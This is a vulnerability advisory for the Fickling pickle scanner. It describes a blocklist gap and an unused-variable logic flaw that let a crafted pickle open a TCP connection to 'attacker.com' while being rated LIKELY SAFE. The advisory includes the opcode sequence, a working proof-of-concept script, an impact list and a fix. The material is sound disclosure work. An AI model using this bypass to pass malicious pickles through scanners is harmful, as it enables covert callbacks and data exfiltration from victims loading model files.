PT-2026-22709 · Pypi · Fickling

Published

2026-02-20

·

Updated

2026-02-20

CVSS v4.0

2.3

Low

VectorAV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Our assessment

imtplib, imaplib, ftplib, poplib, telnetlib, and nntplib were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The UnusedVariables heuristic works as expected.

Original report

Summary

Fickling's check safety() API and --check-safety CLI flag incorrectly rate as LIKELY SAFE pickle files that open outbound TCP connections at deserialization time using stdlib network-protocol constructors: smtplib.SMTP, imaplib.IMAP4, ftplib.FTP, poplib.POP3, telnetlib.Telnet, and nntplib.NNTP.
The bypass exploits two independent root causes described below.

Root Cause 1: Incomplete blocklist (fixed in PR #233)

fickling/fickle.py (lines 41-97) defines UNSAFE IMPORTS, the primary blocklist. fickling/analysis.py (lines 229-248) defines the parallel UnsafeImportsML.UNSAFE MODULES dict. Both omitted the following stdlib network-protocol modules whose constructors open a TCP socket at instantiation time:
ModuleClassDefault portConstructor side-effect
smtplibSMTP25TCP connect, reads SMTP banner, sends EHLO
imaplibIMAP4143TCP connect, reads IMAP capability banner
ftplibFTP21TCP connect, reads FTP welcome banner
poplibPOP3110TCP connect, reads POP3 greeting
telnetlibTelnet23TCP connect
nntplibNNTP119TCP connect, NNTP handshake
Because these module names were absent from both blocklists, UnsafeImportsML, UnsafeImports, and NonStandardImports all stayed silent. All six are genuine stdlib modules so is std module() returned True and NonStandardImports did not fire.
Status: patched in PR #233. The six modules have been added to UNSAFE IMPORTS.

Root Cause 2: Logic flaw in unused assignments() at fickle.py:1183 (unpatched)

Description

unused assignments() in fickling/fickle.py (lines 1174-1204) identifies variables that are assigned but never referenced. UnusedVariables analysis calls this method and raises SUSPICIOUS for any unreferenced variable -- this would otherwise catch a bare REDUCE opcode that stores its result without using it.
The flaw is at line 1183. The method iterates over module body statements and, when it encounters the final result = <expr> assignment, breaks out of the loop immediately without first walking the right-hand side expression for Name references:
python
# fickling/fickle.py:1183 (current code -- vulnerable)
if (
  len(statement.targets) == 1
  and isinstance(statement.targets[0], ast.Name)
  and statement.targets[0].id == "result"
):
  # this is the return value of the program
  break  # exits WITHOUT scanning statement.value
Any variable that appears only in the RHS of result = <expr> is therefore never added to the used set and is incorrectly classified as unused.

How this enables bypass suppression

When fickling processes a REDUCE opcode in isolation, it generates:
python
 var0 = SMTP('attacker.com', 25)
result = var0
Because the loop breaks before scanning result = var0, var0 never enters used. UnusedVariables sees var0 as unused and raises SUSPICIOUS.
Adding a BUILD opcode with an empty dict after the REDUCE changes the generated AST to:
python
from smtplib import SMTP
 var0 = SMTP('attacker.com', 25)  # dangerous call
 var1 = var0           # BUILD step 1: intermediate reference
 var1. setstate ({})       # BUILD step 2: state call
result = var1
Now var0 appears on the RHS of var1 = var0, a statement processed before the break, so var0 correctly enters used and UnusedVariables stays silent.
The setstate call is excluded from OvertlyBadEvals because ASTProperties.visit Call places it in calls but not in non setstate calls (line 562), and OvertlyBadEvals only iterates non setstate calls.
The SMTP(...) call is skipped by OvertlyBadEvals because process import adds SMTP to likely safe imports for any stdlib module (line 550), and OvertlyBadEvals skips calls whose function name is in likely safe imports (lines 339-345).
Net result: zero warnings, severity LIKELY SAFE.
This flaw is generic -- it applies to any module not on the blocklist, not just the six fixed in PR #233. Any future blocklist gap can be silently exploited using the same REDUCE + EMPTY DICT + BUILD pattern as long as this flaw remains unpatched.

Bypass opcode sequence

Offset Opcode      Argument
------ ------      --------
0    PROTO       4
2    GLOBAL      'smtplib' 'SMTP'
16   SHORT BINUNICODE 'attacker.com'
30   BININT2      25
33   TUPLE2
34   REDUCE             <- TCP connection opened here
35   EMPTY DICT
36   BUILD              <- suppresses UnusedVariables via flaw
37   STOP
Fickling's synthetic AST for this sequence (what all analysis passes inspect):
python
from smtplib import SMTP
 var0 = SMTP('attacker.com', 25)
 var1 = var0
 var1. setstate ({})
result = var1
No analysis rule in fickling fires on this AST.

Proof of Concept

Requires only pip install fickling. Save as poc.py and run.
python
import socket
import threading
import pickle

def build bypass pickle(host: str, port: int) -> bytes:
  h = host.encode("utf-8")
  return b"".join([
    b"x80x04",
    b"csmtplib
SMTP
",
    b"x8c" + bytes([len(h)]) + h,
    b"M" + bytes([port & 0xFF, (port >> 8) & 0xFF]),
    b"x86",  # TUPLE2
    b"R",   # REDUCE
    b"}",   # EMPTY DICT
    b"b",   # BUILD
    b".",   # STOP
  ])

def run poc():
  from fickling.analysis import check safety
  from fickling.fickle import Pickled

  HOST, PORT = "127.0.0.1", 19902
  received = []

  def listener():
    srv = socket.socket(socket.AF INET, socket.SOCK STREAM)
    srv.setsockopt(socket.SOL SOCKET, socket.SO REUSEADDR, 1)
    srv.bind((HOST, PORT))
    srv.listen(1)
    srv.settimeout(5)
    try:
      conn, addr = srv.accept()
      received.append(addr)
      conn.close()
    except socket.timeout:
      pass
    srv.close()

  t = threading.Thread(target=listener, daemon=True)
  t.start()

  raw = build bypass pickle(HOST, PORT)
  loaded = Pickled.load(raw)
  result = check safety(loaded)

  print(f"[*] fickling severity : {result.severity.name}")
  print(f"[*] fickling is safe : {result.severity.name == 'LIKELY SAFE'}")

  assert result.severity.name == "LIKELY SAFE", "Bypass failed"
  print("[+] fickling rates the pickle as LIKELY SAFE <-- bypass confirmed")

  print("[*] Calling pickle.loads() to simulate victim loading the file...")
  try:
    pickle.loads(raw)
  except Exception:
    pass

  t.join(timeout=5)

  if received:
    print(f"[+] Incoming TCP connection received from {received[0]}")
    print("[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY SAFE")
  else:
    print("[-] No TCP connection received (network blocked)")
    print("  fickling still rated LIKELY SAFE -- static analysis bypass confirmed regardless")

if  name  == " main ":
  run poc()

Expected output

[*] fickling severity : LIKELY SAFE
[*] fickling is safe : True
[+] fickling rates the pickle as LIKELY SAFE <-- bypass confirmed
[*] Calling pickle.loads() to simulate victim loading the file...
[+] Incoming TCP connection received from ('127.0.0.1', 58412)
[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY SAFE
Tested on Python 3.11.1, Windows. Not OS-specific.

Impact

An attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint) can silently:
  • Enumerate victims -- receive a TCP callback every time the pickle is loaded, including in sandboxed environments
  • Exfiltrate host identity -- victim IP, hostname (via SMTP EHLO), and service banners are sent to the attacker's server
  • Probe internal services (SSRF) -- if the victim host can reach internal SMTP relays, IMAP stores, or FTP servers, the pickle probes those services on the attacker's behalf
  • Establish a covert channel -- protocol handshakes carry attacker-controlled bytes through a channel fickling explicitly labels safe
The is likely safe() helper (fickling/analysis.py:468-474) and the --check-safety CLI flag both gate on severity == LIKELY SAFE. This bypass clears that gate completely with zero warnings.

Suggested fix

Walk statement.value before the break so variables referenced only in the result assignment are correctly counted as used:
python
# fickling/fickle.py:1183 -- suggested fix
if (
  len(statement.targets) == 1
  and isinstance(statement.targets[0], ast.Name)
  and statement.targets[0].id == "result"
):
  # scan RHS before breaking so variables used only here are marked as used
  for node in ast.walk(statement.value):
    if isinstance(node, ast.Name):
      used.add(node.id)
  break
This is the same pattern already used for every other statement in the loop (lines 1200-1203). All 55 non-torch tests pass with this fix applied.

Affected versions

All releases including v0.1.7 (latest). Confirmed on latest master as of 2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released). Root cause 2 unpatched as of this report.

Reporter

Anmol Vats

Fix

Incomplete List of Disallowed Inputs

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-184

Related Identifiers

GHSA-83PF-V6QQ-PWMR

Affected Products

Fickling